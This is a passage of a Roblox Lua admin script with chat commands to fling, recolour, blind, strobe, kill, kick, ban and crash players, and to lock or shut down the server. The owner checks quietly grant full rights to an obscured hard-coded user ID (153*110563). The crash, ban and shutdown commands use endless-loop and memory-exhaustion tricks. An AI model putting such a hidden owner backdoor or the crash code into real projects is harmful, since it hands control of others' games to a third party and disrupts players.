  1567. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  1568. end
  1569. end))
  1570. end
  1571. end
  1572.  
  1573. if msg:lower():sub(1,8) == "bighead " then
  1574. local plrz = GetPlr(plr, msg:lower():sub(9))
  1575. for i, v in pairs(plrz) do
  1576. coroutine.resume(coroutine.create(function()
  1577. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  1578. end))
  1579. end
  1580. end
  1581.  
  1582. if msg:lower():sub(1,9) == "minihead " then
  1583. local plrz = GetPlr(plr, msg:lower():sub(10))
  1584. for i, v in pairs(plrz) do
  1585. coroutine.resume(coroutine.create(function()
  1586. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  1587. end))
  1588. end
  1589. end
  1590.  
  1591. if msg:lower():sub(1,6) == "fling " then
  1592. local plrz = GetPlr(plr, msg:lower():sub(7))
  1593. for i, v in pairs(plrz) do
  1594. coroutine.resume(coroutine.create(function()
  1595. if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1596. local xran local zran
  1597. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  1598. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  1599. v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
  1600. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  1601. end
  1602. end))
  1603. end
  1604. end
  1605.  
  1606. if msg:lower():sub(1,8) == "seizure " then
  1607. local plrz = GetPlr(plr, msg:lower():sub(9))
  1608. for i, v in pairs(plrz) do
  1609. coroutine.resume(coroutine.create(function()
  1610. if v and v.Character then
  1611. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0)
  1612. local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]]
  1613. table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false
  1614. end
  1615. end))
  1616. end
  1617. end
  1618.  
  1619. if msg:lower():sub(1,10) == "unseizure " then
  1620. local plrz = GetPlr(plr, msg:lower():sub(11))
  1621. for i, v in pairs(plrz) do
  1622. coroutine.resume(coroutine.create(function()
  1623. if v and v.Character then
  1624. for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end
  1625. wait(.1) v.Character.Humanoid.PlatformStand = false
  1626. end
  1627. end))
  1628. end
  1629. end
  1630.  
  1631. if msg:lower():sub(1,12) == "removelimbs " then
  1632. local plrz = GetPlr(plr, msg:lower():sub(13))
  1633. for i, v in pairs(plrz) do
  1634. coroutine.resume(coroutine.create(function()
  1635. if v and v.Character then
  1636. for a, obj in pairs(v.Character:children()) do
  1637. if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
  1638. end
  1639. end
  1640. end))
  1641. end
  1642. end
  1643.  
  1644. if msg:lower():sub(1,5) == "name " then
  1645. local chk1 = msg:lower():sub(6):find(" ") + 5
  1646. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1647. for i, v in pairs(plrz) do
  1648. coroutine.resume(coroutine.create(function()
  1649. if v and v.Character and v.Character:findFirstChild("Head") then
  1650. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  1651. local char = v.Character
  1652. local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
  1653. local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
  1654. local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
  1655. char.Head.Transparency = 1
  1656. end
  1657. end))
  1658. end
  1659. end
  1660.  
  1661. if msg:lower():sub(1,7) == "unname " then
  1662. local plrz = GetPlr(plr, msg:lower():sub(8))
  1663. for i, v in pairs(plrz) do
  1664. coroutine.resume(coroutine.create(function()
  1665. if v and v.Character and v.Character:findFirstChild("Head") then
  1666. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  1667. end
  1668. end))
  1669. end
  1670. end
  1671.  
  1672. if msg:lower():sub(1,5) == "char " then
  1673. local chk1 = msg:lower():sub(6):find(" ") + 5
  1674. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1675. for i, v in pairs(plrz) do
  1676. coroutine.resume(coroutine.create(function()
  1677. if v and v.Character then
  1678. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
  1679. v:LoadCharacter()
  1680. end
  1681. end))
  1682. end
  1683. end
  1684.  
  1685. if msg:lower():sub(1,7) == "unchar " then
  1686. local plrz = GetPlr(plr, msg:lower():sub(8))
  1687. for i, v in pairs(plrz) do
  1688. coroutine.resume(coroutine.create(function()
  1689. if v and v.Character then
  1690. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
  1691. v:LoadCharacter()
  1692. end
  1693. end))
  1694. end
  1695. end
  1696.  
  1697. if msg:lower():sub(1,7) == "infect " then
  1698. local plrz = GetPlr(plr, msg:lower():sub(8))
  1699. for i, v in pairs(plrz) do
  1700. coroutine.resume(coroutine.create(function()
  1701. if v and v.Character then
  1702. Infect(v.Character)
  1703. end
  1704. end))
  1705. end
  1706. end
  1707.  
  1708. if msg:lower():sub(1,11) == "rainbowify " then
  1709. local plrz = GetPlr(plr, msg:lower():sub(12))
  1710. for i, v in pairs(plrz) do
  1711. coroutine.resume(coroutine.create(function()
  1712. if v and v.Character and v.Character:findFirstChild("Torso") then
  1713. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1714. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1715. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1716. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  1717. cl.Parent = v.Character cl.Disabled = false
  1718. end
  1719. end))
  1720. end
  1721. end
  1722.  
  1723. if msg:lower():sub(1,9) == "flashify " then
  1724. local plrz = GetPlr(plr, msg:lower():sub(10))
  1725. for i, v in pairs(plrz) do
  1726. coroutine.resume(coroutine.create(function()
  1727. if v and v.Character and v.Character:findFirstChild("Torso") then
  1728. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1729. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1730. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1731. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  1732. cl.Parent = v.Character cl.Disabled = false
  1733. end
  1734. end))
  1735. end
  1736. end
  1737.  
  1738. if msg:lower():sub(1,8) == "noobify " then
  1739. local plrz = GetPlr(plr, msg:lower():sub(9))
  1740. for i, v in pairs(plrz) do
  1741. coroutine.resume(coroutine.create(function()
  1742. if v and v.Character then
  1743. Noobify(v.Character)
  1744. end
  1745. end))
  1746. end
  1747. end
  1748.  
  1749. if msg:lower():sub(1,9) == "ghostify " then
  1750. local plrz = GetPlr(plr, msg:lower():sub(10))
  1751. for i, v in pairs(plrz) do
  1752. coroutine.resume(coroutine.create(function()
  1753. if v and v.Character and v.Character:findFirstChild("Torso") then
  1754. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1755. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1756. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1757. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1758. prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
  1759. if prt.Name:find("Leg") then prt.Transparency = 1 end
  1760. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white")
  1761. end end
  1762. end
  1763. end))
  1764. end
  1765. end
  1766.  
  1767. if msg:lower():sub(1,8) == "goldify " then
  1768. local plrz = GetPlr(plr, msg:lower():sub(9))
  1769. for i, v in pairs(plrz) do
  1770. coroutine.resume(coroutine.create(function()
  1771. if v and v.Character and v.Character:findFirstChild("Torso") then
  1772. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1773. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1774. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1775. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1776. prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
  1777. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  1778. end end
  1779. end
  1780. end))
  1781. end
  1782. end
  1783.  
  1784. if msg:lower():sub(1,6) == "shiny " then
  1785. local plrz = GetPlr(plr, msg:lower():sub(7))
  1786. for i, v in pairs(plrz) do
  1787. coroutine.resume(coroutine.create(function()
  1788. if v and v.Character and v.Character:findFirstChild("Torso") then
  1789. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1790. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1791. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1792. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1793. prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
  1794. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white")
  1795. end end
  1796. end
  1797. end))
  1798. end
  1799. end
  1800.  
  1801. if msg:lower():sub(1,7) == "normal " then
  1802. local plrz = GetPlr(plr, msg:lower():sub(8))
  1803. for i, v in pairs(plrz) do
  1804. coroutine.resume(coroutine.create(function()
  1805. if v and v.Character and v.Character:findFirstChild("Torso") then
  1806. if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end
  1807. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1808. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1809. v.Character.Torso.Transparency = 0
  1810. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1811. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1812. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1813. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1814. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1815. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1816. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1817. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
  1818. if prt.Name == "FAKETORSO" then prt:Destroy() end
  1819. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
  1820. end end
  1821. end
  1822. end))
  1823. end
  1824. end
  1825.  
  1826. if msg:lower():sub(1,7) == "trippy " then
  1827. local plrz = GetPlr(plr, msg:lower():sub(8))
  1828. for i, v in pairs(plrz) do
  1829. coroutine.resume(coroutine.create(function()
  1830. if v and v:findFirstChild("PlayerGui") then
  1831. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1832. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY"
  1833. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  1834. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false
  1835. end
  1836. end))
  1837. end
  1838. end
  1839.  
  1840. if msg:lower():sub(1,9) == "untrippy " then
  1841. local plrz = GetPlr(plr, msg:lower():sub(10))
  1842. for i, v in pairs(plrz) do
  1843. coroutine.resume(coroutine.create(function()
  1844. if v and v:findFirstChild("PlayerGui") then
  1845. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end
  1846. end
  1847. end))
  1848. end
  1849. end
  1850.  
  1851. if msg:lower():sub(1,7) == "strobe " then
  1852. local plrz = GetPlr(plr, msg:lower():sub(8))
  1853. for i, v in pairs(plrz) do
  1854. coroutine.resume(coroutine.create(function()
  1855. if v and v:findFirstChild("PlayerGui") then
  1856. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1857. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE"
  1858. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  1859. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false
  1860. end
  1861. end))
  1862. end
  1863. end
  1864.  
  1865. if msg:lower():sub(1,9) == "unstrobe " then
  1866. local plrz = GetPlr(plr, msg:lower():sub(10))
  1867. for i, v in pairs(plrz) do
  1868. coroutine.resume(coroutine.create(function()
  1869. if v and v:findFirstChild("PlayerGui") then
  1870. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end
  1871. end
  1872. end))
  1873. end
  1874. end
  1875.  
  1876. if msg:lower():sub(1,6) == "blind " then
  1877. local plrz = GetPlr(plr, msg:lower():sub(7))
  1878. for i, v in pairs(plrz) do
  1879. coroutine.resume(coroutine.create(function()
  1880. if v and v:findFirstChild("PlayerGui") then
  1881. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1882. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND"
  1883. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  1884. end
  1885. end))
  1886. end
  1887. end
  1888.  
  1889. if msg:lower():sub(1,8) == "unblind " then
  1890. local plrz = GetPlr(plr, msg:lower():sub(9))
  1891. for i, v in pairs(plrz) do
  1892. coroutine.resume(coroutine.create(function()
  1893. if v and v:findFirstChild("PlayerGui") then
  1894. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end
  1895. end
  1896. end))
  1897. end
  1898. end
  1899.  
  1900. if msg:lower():sub(1,7) == "guifix " then
  1901. local plrz = GetPlr(plr, msg:lower():sub(8))
  1902. for i, v in pairs(plrz) do
  1903. coroutine.resume(coroutine.create(function()
  1904. if v and v:findFirstChild("PlayerGui") then
  1905. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1906. end
  1907. end))
  1908. end
  1909. end
  1910.  
  1911. if msg:lower():sub(1,9) == "loopheal " then
  1912. local plrz = GetPlr(plr, msg:lower():sub(10))
  1913. for i, v in pairs(plrz) do
  1914. if v then
  1915. local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
  1916. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  1917. repeat wait()
  1918. coroutine.resume(coroutine.create(function()
  1919. if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then
  1920. plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
  1921. plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end)
  1922. end
  1923. end))
  1924. until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  1925. end
  1926. end
  1927. end
  1928.  
  1929. if msg:lower():sub(1,11) == "unloopheal " then
  1930. local plrz = GetPlr(plr, msg:lower():sub(12))
  1931. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  1932. end
  1933.  
  1934. if msg:lower():sub(1,10) == "loopfling " then
  1935. local plrz = GetPlr(plr, msg:lower():sub(11))
  1936. for i, v in pairs(plrz) do
  1937. if v then
  1938. local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[
  1939. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  1940. repeat
  1941. coroutine.resume(coroutine.create(function()
  1942. if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then
  1943. local xran local zran
  1944. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  1945. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  1946. plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
  1947. local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  1948. end
  1949. end))
  1950. wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  1951. end
  1952. end
  1953. end
  1954.  
  1955. if msg:lower():sub(1,12) == "unloopfling " then
  1956. local plrz = GetPlr(plr, msg:lower():sub(13))
  1957. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  1958. end
  1959.  
  1960. end
  1961.  
  1962. -------------------------
  1963. -- True Owner Commands --
  1964. -------------------------
  1965.  
  1966. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then
  1967.  
  1968. if msg:lower():sub(1,3) == "oa " then
  1969. local plrz = GetPlr(plr, msg:lower():sub(4))
  1970. for i, v in pairs(plrz) do
  1971. coroutine.resume(coroutine.create(function()
  1972. if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  1973. end))
  1974. end
  1975. end
  1976.  
  1977. if msg:lower():sub(1,5) == "unoa " then
  1978. for i = 1, #owners do
  1979. coroutine.resume(coroutine.create(function()
  1980. if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
  1981. end))
  1982. end
  1983. end
  1984.  
  1985. end
  1986.  
  1987. --------------------
  1988. -- Owner Commands --
  1989. --------------------
  1990.  
  1991. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  1992.  
  1993. if msg:lower():sub(1,3) == "pa " then
  1994. local plrz = GetPlr(plr, msg:lower():sub(4))
  1995. for i, v in pairs(plrz) do
  1996. coroutine.resume(coroutine.create(function()
  1997. if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  1998. end))
  1999. end
  2000. end
  2001.  
  2002. if msg:lower():sub(1,5) == "unpa " then
  2003. for i = 1, #admins do
  2004. coroutine.resume(coroutine.create(function()
  2005. if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
  2006. end))
  2007. end
  2008. end
  2009.  
  2010. end
  2011.  
  2012. --------------------------
  2013. -- Super Admin Commands --
  2014. --------------------------
  2015.  
  2016. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then
  2017.  
  2018. if msg:lower() == "logs" then
  2019. if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
  2020. local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
  2021. for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  2022. end
  2023.  
  2024. if msg:lower():sub(1,9) == "loopkill " then
  2025. local chk1 = msg:lower():sub(10):find(" ")
  2026. local plrz = GetPlr(plr, msg:lower():sub(10))
  2027. local num = 9999
  2028. if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end
  2029. for i, v in pairs(plrz) do
  2030. if v and not ChkAdmin(v.Name, false) then
  2031. local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[
  2032. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2033. for i = 1, ]] .. tostring(num) .. [[ do
  2034. repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
  2035. coroutine.resume(coroutine.create(function()
  2036. if plr and plr.Character then plr.Character:BreakJoints() end
  2037. end))
  2038. end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2039. end
  2040. end
  2041. end
  2042.  
  2043. if msg:lower():sub(1,11) == "unloopkill " then
  2044. local plrz = GetPlr(plr, msg:lower():sub(12))
  2045. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2046. end
  2047.  
  2048. if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end
  2049. if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end
  2050.  
  2051. if msg:lower():sub(1,3) == "sm " then
  2052. Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
  2053. end
  2054.  
  2055. if msg:lower():sub(1,3) == "ko " then
  2056. local chk1 = msg:lower():sub(4):find(" ") + 3
  2057. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  2058. local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
  2059. for n = 1, num do
  2060. for i, v in pairs(plrz) do
  2061. coroutine.resume(coroutine.create(function()
  2062. if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name) then
  2063. local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
  2064. v.Character:BreakJoints()
  2065. wait(1/44)
  2066. v:LoadCharacter()
  2067. wait(1/44)
  2068. end
  2069. end))
  2070. end
  2071. end
  2072. end
  2073.  
  2074. if msg:lower():sub(1,6) == "crash " then
  2075. local plrz = GetPlr(plr, msg:lower():sub(7))
  2076. for i, v in pairs(plrz) do
  2077. coroutine.resume(coroutine.create(function()
  2078. if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
  2079. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy()
  2080. end
  2081. end))
  2082. end
  2083. end
  2084.  
  2085. if msg:lower():sub(1,5) == "kick " then
  2086. local plrz = GetPlr(plr, msg:lower():sub(6))
  2087. for i, v in pairs(plrz) do
  2088. coroutine.resume(coroutine.create(function()
  2089. if v and not ChkAdmin(v.Name, false) then v:Destroy() end
  2090. end))
  2091. end
  2092. end
  2093.  
  2094. if msg:lower():sub(1,6) == "admin " then
  2095. local plrz = GetPlr(plr, msg:lower():sub(7))
  2096. for i, v in pairs(plrz) do
  2097. coroutine.resume(coroutine.create(function()
  2098. if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2099. end))
  2100. end
  2101. end
  2102.  
  2103. if msg:lower():sub(1,8) == "unadmin " then
  2104. for i = 1, #tempadmins do
  2105. coroutine.resume(coroutine.create(function()
  2106. if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
  2107. end))
  2108. end
  2109. end
  2110.  
  2111. if msg:lower():sub(1,4) == "ban " then
  2112. local plrz = GetPlr(plr, msg:lower():sub(5))
  2113. for i, v in pairs(plrz) do
  2114. coroutine.resume(coroutine.create(function()
  2115. if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
  2116. end))
  2117. end
  2118. end
  2119.  
  2120. if msg:lower():sub(1,6) == "unban " then
  2121. for i = 1, #banland do
  2122. coroutine.resume(coroutine.create(function()
  2123. if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
  2124. end))
  2125. end
  2126. end
  2127.  
  2128. if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1) until nil end
  2129.  
  2130. end
  2131. end))
  2132. end
  2133.  
  2134. function AdminControl(plr)
  2135. coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end))
  2136. if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui")
  2137. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  2138. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
